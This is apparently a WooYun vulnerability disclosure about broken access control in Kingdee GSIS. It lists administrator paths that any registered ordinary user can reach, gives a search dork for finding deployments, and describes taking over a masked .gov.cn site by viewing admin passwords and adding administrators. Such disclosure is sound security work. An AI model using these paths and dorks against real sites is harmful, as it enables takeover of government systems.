WooYun.org

程序名称：Kingdee GSIS
开发公司：金蝶
漏洞类型：越权访问
漏洞文件：
/kdgs/core/superuser/superUserList.jsp 可修改管理员
/kdgs/core/superuser/list.jsp
/kdgs/core/superuser/save.action 越权添加管理员
/kdgs/core/superuser/personalSetting.jsp
/kdgs/core/superuser/superUserContent.jsp
/kdgs/core/task/list.jsp 可新建任务
admin/clearHis.jsp 删除申请单
admin\config\messageconfig/messageConfig.jsp 政务服务短信提醒设置
关键词：inurl:/kdgs/

1.http://**.**.**/kdgs/_
2.http://**.**.**/kdgs/_
3.http://**.**.**/kdgs/_
4.http://**.**.**/kdgs/_
5.http://**.**.**/kdgs/

漏洞成因：对权限没有很好的过滤，只是判断session中是否有值，导致普通用户可访问管理功能
漏洞利用：注册一个普通用户，直接访问越权地址，然后XXOO
实例演示：
这里用的演示站：http://*******.gov.cn/kdgs/
注册就不多说了，上一个漏洞及前辈都提到了，URL：http://xxxx.xxx//kdgs/biz/portal/login/login.action
越权1：
http://*******.gov.cn/kdgs/core/superuser/superUserList.jsp 可修改管理员

点击修改直接查看管理员密码

另一个站：

越权2：
/kdgs/core/superuser/list.jsp 新建处 可添加管理员

越权3：
/kdgs/core/superuser/save.action 越权添加管理员
可直接添加管理员

保存成功

登录看看：

这两个还是跟用户有关，就不演示了
/kdgs/core/superuser/personalSetting.jsp
/kdgs/core/superuser/superUserContent.jsp
越权4：
/kdgs/core/task/list.jsp 可新建任务，执行脚本

越权5：
admin/clearHis.jsp 删除申请单，这个可能影响正常业务，就不演示删除了

越权6：
admin\config\messageconfig/messageConfig.jsp 政务服务短信提醒设置